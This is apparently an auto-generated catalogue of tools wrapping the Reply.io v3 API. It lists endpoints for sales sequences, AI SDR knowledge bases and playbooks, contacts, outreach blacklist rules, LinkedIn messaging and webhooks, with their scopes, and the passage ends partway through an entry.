replyio_get_v3_sequences_ai_sdr_by_sequence_id_knowledge_base (read) — Get the sequence's knowledge base. GET /v3/sequences/ai-sdr/{sequence_id}/knowledge-base. See which knowledge base the AI SDR draws on for this sequence. Reports not found when none is connected. GET /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/knowledge-base. Scopes: ai-sdr:read. replyio_get_v3_sequences_ai_sdr_by_sequence_id_playbook (read) — Get the sequence's playbook. GET /v3/sequences/ai-sdr/{sequence_id}/playbook. See which playbook the AI SDR follows for this sequence, with its id, name, and whether it's global, organization, or team. GET /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/playbook. Scopes: ai-sdr:read. replyio_get_v3_sequences_ai_sdr_by_sequence_id_settings (read) — Read AI SDR sequence settings. GET /v3/sequences/ai-sdr/{sequence_id}/settings. Read one sequence's AI SDR settings: offer context, tone, LLM, step types, intent signals, playbook, and approval mode. GET /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/settings. Scopes: ai-sdr:read. replyio_get_v3_sequences_by_id (read) — Get a sequence. GET /v3/sequences/{id}. Get one sequence in full: name, status, owner, schedule, settings, connected accounts, and its complete list of steps. GET /api/v1/replyio/v3/sequences/{id}. Scopes: sequences:read. replyio_get_v3_sequences_by_id_contacts (read) — List contacts in sequence. GET /v3/sequences/{id}/contacts. See who's enrolled in a sequence and where each stands: status, current step, added date, opt-out, and call status. GET /api/v1/replyio/v3/sequences/{id}/contacts. Scopes: sequences:read. replyio_get_v3_sequences_by_id_contacts_by_contact_id (read) — Get a contact in a sequence. GET /v3/sequences/{id}/contacts/{contact_id}. Get one contact's state inside a sequence: status, the step they're waiting on, when they were added, and opt-out. GET /api/v1/replyio/v3/sequences/{id}/contacts/{contact_id}. Scopes: sequences:read. replyio_get_v3_sequences_by_id_contacts_count (read) — Count contacts in sequence. GET /v3/sequences/{id}/contacts/count. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Count the contacts enrolled in a sequence — useful for sizing a paging loop before walking the list endpoint. GET /api/v1/replyio/v3/sequences/{id}/contacts/count. Scopes: sequences:read. replyio_get_v3_sequences_by_id_contacts_state (read) — List contacts in sequence with extended state. GET /v3/sequences/{id}/contacts/state. Get a compact view of a sequence's contacts, adding only the extra columns you ask for via additionalColumns. GET /api/v1/replyio/v3/sequences/{id}/contacts/state. Scopes: sequences:read. replyio_get_v3_sequences_by_id_email_accounts (read) — List email accounts in sequence. GET /v3/sequences/{id}/email-accounts. See which email accounts a sequence sends from, each with its address, sender name, daily limit, and connection status. GET /api/v1/replyio/v3/sequences/{id}/email-accounts. Scopes: sequences:read. replyio_get_v3_sequences_by_id_linkedin_accounts (read) — List LinkedIn accounts for a sequence. GET /v3/sequences/{id}/linkedin-accounts. See which LinkedIn accounts a sequence sends its LinkedIn steps from, each with its id, name, profile URL, and status. GET /api/v1/replyio/v3/sequences/{id}/linkedin-accounts. Scopes: sequences:read. replyio_get_v3_sequences_by_id_steps (read) — List all sequence steps. GET /v3/sequences/{id}/steps. Get every step in a sequence. Read type first to know the shape, and parentId to see how the steps chain together. GET /api/v1/replyio/v3/sequences/{id}/steps. Scopes: sequences:read. replyio_get_v3_sequences_by_id_steps_by_step_id (read) — Get a sequence step. GET /v3/sequences/{id}/steps/{step_id}. Get one step of a sequence by id. Read type — and actionType for linkedIn — to know which other fields to expect. GET /api/v1/replyio/v3/sequences/{id}/steps/{step_id}. Scopes: sequences:read. replyio_get_v3_sequences_by_id_steps_by_step_id_variants (read) — List step variants. GET /v3/sequences/{id}/steps/{step_id}/variants. Get the variants a step rotates between, each with its subject, message, enabled flag, and whether it has attachments. GET /api/v1/replyio/v3/sequences/{id}/steps/{step_id}/variants. Scopes: sequences:read. replyio_get_v3_sequences_by_sequence_id_contacts_by_contact_id_preview (read) — Get sequence preview for a contact. GET /v3/sequences/{sequence_id}/contacts/{contact_id}/preview. See the messages one contact will receive from a sequence, rendered with their own data, one entry per messaging step. GET /api/v1/replyio/v3/sequences/{sequence_id}/contacts/{contact_id}/preview. Scopes: sequences:read. replyio_get_v3_sequences_count (read) — Count sequences. GET /v3/sequences/count. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Count the sequences matching a filter without fetching them. Takes the same filters as the list endpoint. GET /api/v1/replyio/v3/sequences/count. Scopes: sequences:read. replyio_get_v3_sequences_steps_contact_filter_properties (read) — List contact filter properties. GET /v3/sequences/steps/contact-filter-properties. See which contact properties a condition step can test, with the operators each accepts and any allowed values. GET /api/v1/replyio/v3/sequences/steps/contact-filter-properties. Scopes: sequences:read. replyio_get_v3_settings (read) — Get settings. GET /v3/settings. Read your settings in one call: profile and time zone, email and inbox preferences, and the team-wide values you work under. GET /api/v1/replyio/v3/settings. Scopes: settings:read. replyio_get_v3_tasks (read) — List all tasks. GET /v3/tasks. Work through your to-do list — your own tasks, plus teammates' when your role allows. Each carries type, status, and dates. GET /api/v1/replyio/v3/tasks. Scopes: tasks:read. replyio_get_v3_tasks_by_id (read) — Get a task. GET /v3/tasks/{id}. Get everything about one task: type, status, the contact, the sequence step it came from, its dates, and its assignee. GET /api/v1/replyio/v3/tasks/{id}. Scopes: tasks:read. replyio_get_v3_webhooks (read) — List webhook subscriptions. GET /v3/webhooks. See the webhook subscriptions you've set up, each with its event, url, scope, enabled flag, and payload flags. GET /api/v1/replyio/v3/webhooks. Scopes: webhooks:read. replyio_get_v3_webhooks_by_id (read) — Get a webhook subscription. GET /v3/webhooks/{id}. Get one subscription by id: the event it listens to, its url, scope, enabled flag, creation date, and payload flags. GET /api/v1/replyio/v3/webhooks/{id}. Scopes: webhooks:read. replyio_get_v3_webhooks_by_id_logs (read) — Get webhook delivery logs. GET /v3/webhooks/{id}/logs. See where deliveries went wrong. Only failed attempts are logged, each with the event id, HTTP status, and date. GET /api/v1/replyio/v3/webhooks/{id}/logs. Scopes: webhooks:read. replyio_get_v3_webhooks_events (read) — List supported event types. GET /v3/webhooks/events. Get the exact event names a subscription can listen to. Any value here works as eventType when you create or update one. GET /api/v1/replyio/v3/webhooks/events. Scopes: webhooks:read. replyio_get_v3_whoami (read) — Get current user. GET /v3/whoami. See which user an API key acts as — its userId, username, and teamId. The quickest way to confirm a key is valid. GET /api/v1/replyio/v3/whoami. Scopes: none. replyio_get_v3_whoami_team_users (read) — List team users. GET /v3/whoami/team-users. List the users you work with, pairing each with their team. Handy for turning a userId into a name and email address. GET /api/v1/replyio/v3/whoami/team-users. Scopes: none. replyio_patch_v3_ai_sdr_knowledge_bases_by_id (write) — Update a knowledge base. PATCH /v3/ai-sdr/knowledge-bases/{id}. Rename a knowledge base or change its standing instructions. Send only what you're changing; at least one field is required. PATCH /api/v1/replyio/v3/ai-sdr/knowledge-bases/{id}. Scopes: ai-sdr:write. replyio_patch_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reengagement_cards_by_reengagement_card_id (write) — Update a reengagement card. PATCH /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-cards/{reengagement_card_id}. Use this endpoint when you need to adjust a reengagement card — retime it, reword its instructions, or switch it on and off with isEnabled. Send only the fields you want to change; at least one of name, instructions, sampleAnswer, sendAfter, toneOfVoice, responseLength, links, isEnabled and deliveryMode must be present, and the same limits apply as on create. Media is not changed here — attach and remove files through the card's media sub-resource. PATCH /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-cards/{reengagement_card_id}. Scopes: ai-sdr:write. replyio_patch_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reengagement_flows_by_flow_id (write) — Update a reengagement flow. PATCH /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows/{flow_id}. Use this endpoint when you need to rename a reengagement flow or change its description. Send only the fields you want to change; at least one of name and description must be present. name must be non-empty, at most 256 characters and still unique within the knowledge base; description accepts up to 512 characters. The updated flow is returned. The cards in the flow are unaffected. The AI SDR feature must be enabled for your team. PATCH /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows/{flow_id}. Scopes: ai-sdr:write. replyio_patch_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reply_handlers_by_reply_handler_id (write) — Update a reply handler. PATCH /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reply-handlers/{reply_handler_id}. Use this endpoint when you need to adjust how the AI SDR agent answers a kind of reply. Send only the fields you want to change; at least one of typeOfQuestion, instructions, sampleAnswer, toneOfVoice, responseLength, links, deliveryMode and additionalNotificationEmail must be present, and the same limits apply as on create. Switching deliveryMode to stopAndNotify requires that mode to be enabled for your team, and moving the handler off stopAndNotify clears additionalNotificationEmail. PATCH /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reply-handlers/{reply_handler_id}. Scopes: ai-sdr:write. replyio_patch_v3_ai_sdr_offers_by_id (write) — Update an offer. PATCH /v3/ai-sdr/offers/{id}. Use this endpoint when you need to change part of an existing offer without resending all of it. Send only the fields you want to change — at least one must be present, and every field you leave out keeps its current value. A list field you do send replaces the whole list, so include every entry you want to keep; each list accepts up to 10 non-empty entries of at most 1000 characters, and any text you send may reference only the template variables your account recognizes. PATCH /api/v1/replyio/v3/ai-sdr/offers/{id}. Scopes: ai-sdr:write. replyio_patch_v3_ai_sdr_playbooks_by_id (write) — Update a playbook. PATCH /v3/ai-sdr/playbooks/{id}. Change part of a playbook without resending it all. Send at least one of name, description, and body; type cannot change. PATCH /api/v1/replyio/v3/ai-sdr/playbooks/{id}. Scopes: ai-sdr:write. replyio_patch_v3_contacts_by_id (write) — Update a contact. PATCH /v3/contacts/{id}. Change specific fields on a contact without resending the whole record. Omitted fields stay as they are; null clears one. PATCH /api/v1/replyio/v3/contacts/{id}. Scopes: contacts:write. replyio_patch_v3_email_accounts_by_id (write) — Update an email account. PATCH /v3/email-accounts/{id}. Change specific settings on an email account without resending the whole record. Only the sections you include are updated. PATCH /api/v1/replyio/v3/email-accounts/{id}. Scopes: channels:write. replyio_patch_v3_sequences_ai_sdr_by_sequence_id_settings (write) — Update AI SDR sequence settings. PATCH /v3/sequences/ai-sdr/{sequence_id}/settings. Change part of a sequence's AI SDR settings. offerId and offerGenerationInputs are mutually exclusive; send at least one field. PATCH /api/v1/replyio/v3/sequences/ai-sdr/{sequence_id}/settings. Scopes: ai-sdr:write. replyio_patch_v3_sequences_by_id (write) — Update a sequence. PATCH /v3/sequences/{id}. Change part of a sequence and leave the rest. settings merges key by key; account lists replace what's there. PATCH /api/v1/replyio/v3/sequences/{id}. Scopes: sequences:write. replyio_patch_v3_settings (write) — Update settings. PATCH /v3/settings. Change part of your settings without resending the whole object. Anything you leave out stays exactly as it is. PATCH /api/v1/replyio/v3/settings. Scopes: settings:write. replyio_post_v3_ai_prompts (write) — Create a personal AI prompt. POST /v3/ai-prompts. Save your own AI prompt for a sequence step type so you can reuse it. The name must be unique among your personal prompts. POST /api/v1/replyio/v3/ai-prompts. Scopes: sequences:write. replyio_post_v3_ai_prompts_preview_linkedin_post (write) — Preview a comment prompt against a LinkedIn post. POST /v3/ai-prompts/preview/linkedin-post. Test a comment prompt against a real person's latest LinkedIn post. The response shows which post the comment was written for. POST /api/v1/replyio/v3/ai-prompts/preview/linkedin-post. Scopes: sequences:operate. replyio_post_v3_ai_prompts_preview_sample (write) — Preview a comment prompt against a sample post. POST /v3/ai-prompts/preview/sample. Try a comment prompt against a generic sample post. Nothing is fetched from LinkedIn and no Reply credits are spent. POST /api/v1/replyio/v3/ai-prompts/preview/sample. Scopes: sequences:operate. replyio_post_v3_ai_sdr_approvals_send_bulk (write) — Send a batch of pending approvals. POST /v3/ai-sdr/approvals/send-bulk. Use this endpoint when you need to approve and send several queued drafts in one call. Pass items as a list of at most 20 sequenceId and contactId pairs, each identifying one pending approval. The batch is all or nothing: every pair is matched to a pending approval before anything is sent, and if any of them has none, nothing is sent and the response names the pairs that could not be matched. Sends to real recipients. POST /api/v1/replyio/v3/ai-sdr/approvals/send-bulk. Scopes: ai-sdr:write. replyio_post_v3_ai_sdr_knowledge_bases (write) — Create a knowledge base. POST /v3/ai-sdr/knowledge-bases. Create a knowledge base for the AI SDR to write from. Only the name is required; instructions add up to 2000 characters of guidance. POST /api/v1/replyio/v3/ai-sdr/knowledge-bases. Scopes: ai-sdr:write. replyio_post_v3_ai_sdr_knowledge_bases_by_id_duplicate (write) — Duplicate a knowledge base. POST /v3/ai-sdr/knowledge-bases/{id}/duplicate. Copy a knowledge base with its documents, links, reply handlers, and reengagement cards, so you can adapt it safely. POST /api/v1/replyio/v3/ai-sdr/knowledge-bases/{id}/duplicate. Scopes: ai-sdr:write. replyio_post_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_links (write) — Add a link. POST /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/links. Add a web page to a knowledge base so the AI SDR can draw on it. The URL is required and capped at 256 characters. POST /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/links. Scopes: ai-sdr:write. replyio_post_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reengagement_cards (write) — Create a reengagement card. POST /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-cards. Create a follow-up for contacts who stop replying. Name, instructions, and sendAfter are required — sendAfter is days of silence. POST /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-cards. Scopes: ai-sdr:write. replyio_post_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reengagement_flows (write) — Create a reengagement flow. POST /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows. Use this endpoint when you need a follow-up track alongside the ones a knowledge base already has — a gentler cadence for VIP contacts, say. name is required, must be unique within the knowledge base and is limited to 256 characters; description is optional and limited to 512. The created flow is returned with its id and starts out empty — add cards to it by passing that id as flowId when you create a reengagement card. The AI SDR feature must be enabled for your team. POST /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows. Scopes: ai-sdr:write. replyio_post_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reengagement_flows_by_flow_id_assign (write) — Assign a reengagement flow to a contact. POST /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows/{flow_id}/assign. Use this endpoint when you need to move one contact onto a specific reengagement flow — after a conversation suggests a different follow-up track, for instance. Provide sequenceId and contactId in the body, both positive; the flow must belong to this knowledge base and the sequence must already be connected to it, otherwise the call is rejected as not found. The assignment resets the contact's reengagement timing and returns 204 with no body. The AI SDR feature must be enabled for your team. POST /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows/{flow_id}/assign. Scopes: ai-sdr:write. replyio_post_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reengagement_flows_by_flow_id_duplicate (write) — Duplicate a reengagement flow. POST /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows/{flow_id}/duplicate. Copy a reengagement flow along with its cards. The copy is created as a non-default flow in the same knowledge base. POST /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows/{flow_id}/duplicate. Scopes: ai-sdr:write. replyio_post_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reengagement_flows_by_flow_id_set_default (write) — Set a reengagement flow as default. POST /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows/{flow_id}/set-default. Make a reengagement flow the default for contacts with none assigned. The previous default loses the role. Returns 204. POST /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reengagement-flows/{flow_id}/set-default. Scopes: ai-sdr:write. replyio_post_v3_ai_sdr_knowledge_bases_by_knowledge_base_id_reply_handlers (write) — Create a reply handler. POST /v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reply-handlers. Tell the AI SDR how to handle one recurring kind of reply. The question type and instructions are required; a sample answer helps. POST /api/v1/replyio/v3/ai-sdr/knowledge-bases/{knowledge_base_id}/reply-handlers. Scopes: ai-sdr:write. replyio_post_v3_ai_sdr_offers (write) — Create an offer. POST /v3/ai-sdr/offers. Create an offer to hold the company context your AI SDR outreach draws on. Only the name is required, up to 200 characters. POST /api/v1/replyio/v3/ai-sdr/offers. Scopes: ai-sdr:write. replyio_post_v3_ai_sdr_offers_by_id_duplicate (write) — Duplicate an offer. POST /v3/ai-sdr/offers/{id}/duplicate. Copy an offer so you can adapt a proven one to a new segment. The copy carries the same company context as the original. POST /api/v1/replyio/v3/ai-sdr/offers/{id}/duplicate. Scopes: ai-sdr:write. replyio_post_v3_ai_sdr_offers_generate (write) — Generate an offer. POST /v3/ai-sdr/offers/generate. Have the AI SDR draft an offer from a company URL or a brief, instead of filling in the context by hand. Runs in the background. POST /api/v1/replyio/v3/ai-sdr/offers/generate. Scopes: ai-sdr:write. replyio_post_v3_ai_sdr_playbooks (write) — Create a playbook. POST /v3/ai-sdr/playbooks. Create a playbook holding the tone, voice, and writing guidance your AI SDR follows. Name, description, body, and type are required. POST /api/v1/replyio/v3/ai-sdr/playbooks. Scopes: ai-sdr:write. replyio_post_v3_ai_sdr_playbooks_by_id_duplicate (write) — Duplicate a playbook. POST /v3/ai-sdr/playbooks/{id}/duplicate. Copy a playbook so you can adapt it to a new segment. Any playbook you can read works as the source, including a global one. POST /api/v1/replyio/v3/ai-sdr/playbooks/{id}/duplicate. Scopes: ai-sdr:write. replyio_post_v3_ai_sdr_strategist_start (write) — Start a strategist run. POST /v3/ai-sdr/strategist/start. Have the AI Strategist think up outreach ideas for a company and build a sequence from each. Runs in the background. POST /api/v1/replyio/v3/ai-sdr/strategist/start. Scopes: ai-sdr:write. replyio_post_v3_ai_web_search_start (write) — Start an AI web search. POST /v3/ai-web-search/start. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Have Reply find new contacts for a sequence by searching the web with AI. Runs in the background and returns once accepted. WITHHELD: Reply.io does not serve this endpoint yet (measured 2026-09-15), so this call is refused before any request is made. POST /api/v1/replyio/v3/ai-web-search/start. Scopes: none. replyio_post_v3_background_jobs_by_jobid_cancel (write) — Cancel a background job. POST /v3/background-jobs/{jobId}/cancel. Stop a background job that is no longer worth finishing. Returns 204, and you can record an optional reason for stopping it. POST /api/v1/replyio/v3/background-jobs/{jobId}/cancel. Scopes: other:operate. replyio_post_v3_contact_account_lists (write) — Create an account list. POST /v3/contact-account-lists. Create an account list to group companies under. The name must be 3 to 128 characters and unique within your team. POST /api/v1/replyio/v3/contact-account-lists. Scopes: contacts:write. replyio_post_v3_contact_account_lists_by_id_add_accounts (write) — Add accounts to an account list. POST /v3/contact-account-lists/{id}/add-accounts. Add accounts to a list while keeping their other list memberships. Up to 1000 ids per call. Use move-accounts to make it their only list. POST /api/v1/replyio/v3/contact-account-lists/{id}/add-accounts. Scopes: contacts:operate. replyio_post_v3_contact_account_lists_by_id_move_accounts (write) — Move accounts to an account list. POST /v3/contact-account-lists/{id}/move-accounts. Move accounts into a list and out of every other list. Up to 1000 ids per call. Use add-accounts to keep their memberships. POST /api/v1/replyio/v3/contact-account-lists/{id}/move-accounts. Scopes: contacts:operate. replyio_post_v3_contact_accounts (write) — Create an account. POST /v3/contact-accounts. Register a company as an account that contacts can link to. Only name is required; every other company field is optional. POST /api/v1/replyio/v3/contact-accounts. Scopes: contacts:write. replyio_post_v3_contact_accounts_bulk (write) — Bulk create accounts. POST /v3/contact-accounts/bulk. Create up to 100 accounts in one call. If any item fails validation the whole request is rejected before anything is created. POST /api/v1/replyio/v3/contact-accounts/bulk. Scopes: contacts:write. replyio_post_v3_contact_accounts_bulk_delete (write) — Bulk delete accounts. POST /v3/contact-accounts/bulk-delete. Delete up to 1000 accounts in one call. The ones you may delete go through; the response lists only the ids that did not. POST /api/v1/replyio/v3/contact-accounts/bulk-delete. Scopes: contacts:write. replyio_post_v3_contact_accounts_by_id_contact_links_bulk (write) — Bulk add contacts to an account. POST /v3/contact-accounts/{id}/contact-links/bulk. Link up to 1000 contacts to an account in one call. A contact belongs to one account, so any already linked elsewhere is moved. POST /api/v1/replyio/v3/contact-accounts/{id}/contact-links/bulk. Scopes: contacts:operate. replyio_post_v3_contact_accounts_by_id_contact_links_bulk_delete (write) — Bulk remove contacts from an account. POST /v3/contact-accounts/{id}/contact-links/bulk-delete. Unlink up to 1000 contacts from an account without deleting them. Each one loses the company details it inherited. POST /api/v1/replyio/v3/contact-accounts/{id}/contact-links/bulk-delete. Scopes: contacts:operate. replyio_post_v3_contact_accounts_filter (write) — Filter accounts. POST /v3/contact-accounts/filter. Get a narrower set of accounts than plain listing. Search by name or domain, scope to one list, and add up to 20 conditions. POST /api/v1/replyio/v3/contact-accounts/filter. Scopes: contacts:read. replyio_post_v3_contact_blacklist_rules_domains (write) — Create a domain blacklist rule. POST /v3/contact-blacklist-rules/domains. Stop contacting everyone at a domain. Send the bare domain such as example.com — no scheme, no address. POST /api/v1/replyio/v3/contact-blacklist-rules/domains. Scopes: contacts:write. replyio_post_v3_contact_blacklist_rules_domains_bulk (write) — Bulk create domain blacklist rules. POST /v3/contact-blacklist-rules/domains/bulk. Block several domains in one call. Every pattern is checked first, so one malformed domain rejects the whole request. POST /api/v1/replyio/v3/contact-blacklist-rules/domains/bulk. Scopes: contacts:write. replyio_post_v3_contact_blacklist_rules_domains_bulk_delete (write) — Bulk delete domain blacklist rules. POST /v3/contact-blacklist-rules/domains/bulk-delete. Lift several domain blocks at once. The ones that can go are deleted; the response lists only the ids that were not. POST /api/v1/replyio/v3/contact-blacklist-rules/domains/bulk-delete. Scopes: contacts:write. replyio_post_v3_contact_blacklist_rules_email_exceptions (write) — Create an email exception blacklist rule. POST /v3/contact-blacklist-rules/email-exceptions. Keep one address contactable even though a domain rule blocks the rest of its domain. Send a full email address. POST /api/v1/replyio/v3/contact-blacklist-rules/email-exceptions. Scopes: contacts:write. replyio_post_v3_contact_blacklist_rules_email_exceptions_bulk (write) — Bulk create email exception blacklist rules. POST /v3/contact-blacklist-rules/email-exceptions/bulk. Carve several addresses out of your blacklist at once. One malformed address rejects the whole request before anything is stored. POST /api/v1/replyio/v3/contact-blacklist-rules/email-exceptions/bulk. Scopes: contacts:write. replyio_post_v3_contact_blacklist_rules_email_exceptions_bulk_delete (write) — Bulk delete email exception blacklist rules. POST /v3/contact-blacklist-rules/email-exceptions/bulk-delete. Withdraw several exceptions at once, putting their addresses back under your blacklist. Only failed ids come back. POST /api/v1/replyio/v3/contact-blacklist-rules/email-exceptions/bulk-delete. Scopes: contacts:write. replyio_post_v3_contact_blacklist_rules_emails (write) — Create an email blacklist rule. POST /v3/contact-blacklist-rules/emails. Stop contacting one address while the rest of its domain stays reachable. Send a full email address as the pattern. POST /api/v1/replyio/v3/contact-blacklist-rules/emails. Scopes: contacts:write. replyio_post_v3_contact_blacklist_rules_emails_bulk (write) — Bulk create email blacklist rules. POST /v3/contact-blacklist-rules/emails/bulk. Block several addresses in one call. Every pattern is checked first, so one malformed address rejects the whole request. POST /api/v1/replyio/v3/contact-blacklist-rules/emails/bulk. Scopes: contacts:write. replyio_post_v3_contact_blacklist_rules_emails_bulk_delete (write) — Bulk delete email blacklist rules. POST /v3/contact-blacklist-rules/emails/bulk-delete. Unblock several addresses at once. The ones that can go are deleted; the response lists only the ids that were not. POST /api/v1/replyio/v3/contact-blacklist-rules/emails/bulk-delete. Scopes: contacts:write. replyio_post_v3_contact_lists (write) — Create a contact list. POST /v3/contact-lists. Create a contact list to group contacts under. Set isShared to make it visible to your team, or leave it false to keep it private. POST /api/v1/replyio/v3/contact-lists. Scopes: contacts:write. replyio_post_v3_contact_lists_by_id_add_contacts (write) — Add contacts to a contact list. POST /v3/contact-lists/{id}/add-contacts. Add contacts to a list while keeping their other list memberships. Contacts are processed one by one, so partial success sticks. POST /api/v1/replyio/v3/contact-lists/{id}/add-contacts. Scopes: contacts:operate. replyio_post_v3_contact_lists_by_id_move_contacts (write) — Move contacts to a contact list. POST /v3/contact-lists/{id}/move-contacts. Move contacts into a list and out of every other list. Use add-contacts instead to keep their existing memberships. POST /api/v1/replyio/v3/contact-lists/{id}/move-contacts. Scopes: contacts:operate. replyio_post_v3_contact_lists_by_id_share (write) — Share a contact list. POST /v3/contact-lists/{id}/share. Make one of your private contact lists visible to the rest of your team. Use the unshare endpoint to reverse it later. POST /api/v1/replyio/v3/contact-lists/{id}/share. Scopes: contacts:write. replyio_post_v3_contact_lists_by_id_unshare (write) — Unshare a contact list. POST /v3/contact-lists/{id}/unshare. Take a shared contact list out of team visibility and make it private to you again. POST /api/v1/replyio/v3/contact-lists/{id}/unshare. Scopes: contacts:write. replyio_post_v3_contacts (write) — Create a contact. POST /v3/contacts. Add a single contact to your account with any profile and custom fields you have. Returns the contact with its new id. POST /api/v1/replyio/v3/contacts. Scopes: contacts:write. replyio_post_v3_contacts_bulk_delete (write) — Bulk delete contacts. POST /v3/contacts/bulk-delete. Delete several contacts in one call. Each is handled on its own, and the response maps any skipped contact to its reason. POST /api/v1/replyio/v3/contacts/bulk-delete. Scopes: contacts:write. replyio_post_v3_contacts_by_id_move_to_sequence (write) — Move a contact to a sequence. POST /v3/contacts/{id}/move-to-sequence. Enroll a contact into a different sequence. Set removeFromExisting to true to take them out of their current one. POST /api/v1/replyio/v3/contacts/{id}/move-to-sequence. Scopes: contacts:operate. replyio_post_v3_contacts_by_id_notes (write) — Add a note to a contact. POST /v3/contacts/{id}/notes. Record context, call summaries, or reminders on a contact's timeline, so your whole team works from the same history. POST /api/v1/replyio/v3/contacts/{id}/notes. Scopes: contacts:operate. replyio_post_v3_contacts_by_id_send_direct_email (write) — Send a direct email to a contact. POST /v3/contacts/{id}/send-direct-email. Send a one-off email to a contact outside any sequence, from a connected account. The reply is still tracked on the contact. Sends to real recipients. POST /api/v1/replyio/v3/contacts/{id}/send-direct-email. Scopes: contacts:operate. replyio_post_v3_contacts_by_id_send_direct_linkedin_ai_voice (write) — Send an AI-generated LinkedIn voice message to a contact. POST /v3/contacts/{id}/send-direct-linkedin-ai-voice. Turn a written script into a voice message and send it on LinkedIn. The sending account needs a voice profile. Sends to real recipients. POST /api/v1/replyio/v3/contacts/{id}/send-direct-linkedin-ai-voice. Scopes: contacts:operate. replyio_post_v3_contacts_by_id_send_direct_linkedin_connect (write) — Send a LinkedIn connection request to a contact. POST /v3/contacts/{id}/send-direct-linkedin-connect. Invite a contact to connect on LinkedIn outside any sequence. Pass the connected account to send from, plus an optional note. Sends to real recipients. POST /api/v1/replyio/v3/contacts/{id}/send-direct-linkedin-connect. Scopes: contacts:operate. replyio_post_v3_contacts_by_id_send_direct_linkedin_inmail (write) — Send a LinkedIn InMail to a contact. POST /v3/contacts/{id}/send-direct-linkedin-inmail. Reach a contact you aren't connected with via LinkedIn InMail. The sending account needs Sales Navigator and InMail credits. Sends to real recipients. POST /api/v1/replyio/v3/contacts/{id}/send-direct-linkedin-inmail. Scopes: contacts:operate. replyio_post_v3_contacts_by_id_send_direct_linkedin_message (write) — Send a LinkedIn message to a contact. POST /v3/contacts/{id}/send-direct-linkedin-message. Send a one-off LinkedIn message to a contact you're already connected with, from one of your connected accounts. Sends to real recipients. POST /api/v1/replyio/v3/contacts/{id}/send-direct-linkedin-message. Scopes: contacts:operate. replyio_post_v3_contacts_by_id_send_direct_linkedin_voice (write) — Send a LinkedIn voice message to a contact. POST /v3/contacts/{id}/send-direct-linkedin-voice. Send a recorded voice message on LinkedIn. Upload the audio first and pass the id it returns as voiceAttachmentId. Sends to real recipients. POST /api/v1/replyio/v3/contacts/{id}/send-direct-linkedin-voice. Scopes: contacts:operate. replyio_post_v3_contacts_enrich_ai_custom_fields (write) — Fill AI custom fields. POST /v3/contacts/enrich-ai-custom-fields. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Have AI generate the values for the AI custom fields you configured, rather than looking data up from an email or profile. WITHHELD: Reply.io does not serve this endpoint yet (measured 2026-09-15), so this call is refused before any request is made. POST /api/v1/replyio/v3/contacts/enrich-ai-custom-fields. Scopes: none. replyio_post_v3_contacts_enrich_by_email (write) — Enrich contacts by email. POST /v3/contacts/enrich-by-email. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Fill in missing details on contacts that already have an email address. Contacts without one need the find-emails endpoint. WITHHELD: Reply.io does not serve this endpoint yet (measured 2026-09-15), so this call is refused before any request is made. POST /api/v1/replyio/v3/contacts/enrich-by-email. Scopes: none. replyio_post_v3_contacts_enrich_by_linkedin (write) — Enrich contacts by LinkedIn URL. POST /v3/contacts/enrich-by-linkedin. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Enrich contacts from their LinkedIn profile URL, optionally looking up a missing email and phone number in the same pass. WITHHELD: Reply.io does not serve this endpoint yet (measured 2026-09-15), so this call is refused before any request is made. POST /api/v1/replyio/v3/contacts/enrich-by-linkedin. Scopes: none. replyio_post_v3_contacts_filter (write) — Filter contacts. POST /v3/contacts/filter. Use this endpoint when you need a filtered, sorted page of contacts that a plain email or LinkedIn lookup cannot express. Combine field rules (property, condition, value) with optional scoping by list, sequence, or sequence step, a free-text search term, and a sort order. Results are paged with the top and skip query parameters. To get only the total for the same criteria, use filter/count. POST /api/v1/replyio/v3/contacts/filter. Scopes: contacts:read. replyio_post_v3_contacts_filter_count (write) — Count filtered contacts. POST /v3/contacts/filter/count. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Use this endpoint when you need only the number of contacts that match a set of filter criteria — for example to show a total or decide whether to page through the results — without fetching the contacts themselves. It accepts the same request body as the filter endpoint. POST /api/v1/replyio/v3/contacts/filter/count. Scopes: contacts:read. replyio_post_v3_contacts_find_emails (write) — Find missing email addresses. POST /v3/contacts/find-emails. Documented by Reply.io as coming soon (available by late August 2026); it may not answer yet. Find email addresses for contacts that don't have one yet. Contacts that already have an address are left alone. WITHHELD: 